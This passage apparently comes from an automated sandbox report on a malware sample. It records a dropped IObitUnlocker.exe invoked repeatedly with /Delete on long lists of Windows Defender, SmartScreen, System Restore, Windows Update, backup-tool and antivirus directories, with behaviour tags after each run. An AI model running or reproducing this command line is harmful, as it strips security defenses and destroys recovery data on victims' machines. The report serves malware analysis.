(x86)\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files (x86)\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files (x86)\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files (x86)\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files (x86)\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files (x86)\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\Avast","C:\Program Files (x86)\Avast","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files (x86)\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files (x86)\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files (x86)\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:4748
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Program Files (x86)\Windows Security","C:\Program Files (x86)\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files (x86)\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files (x86)\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files (x86)\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files (x86)\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files (x86)\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files (x86)\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\Avast","C:\Program Files (x86)\Avast","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files (x86)\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files (x86)\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files (x86)\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:6080
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Program Files (x86)\Windows Security","C:\Program Files (x86)\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files (x86)\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files (x86)\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files (x86)\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files (x86)\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files (x86)\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files (x86)\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\Common Files\McAfee","C:\Program Files (x86)\Common 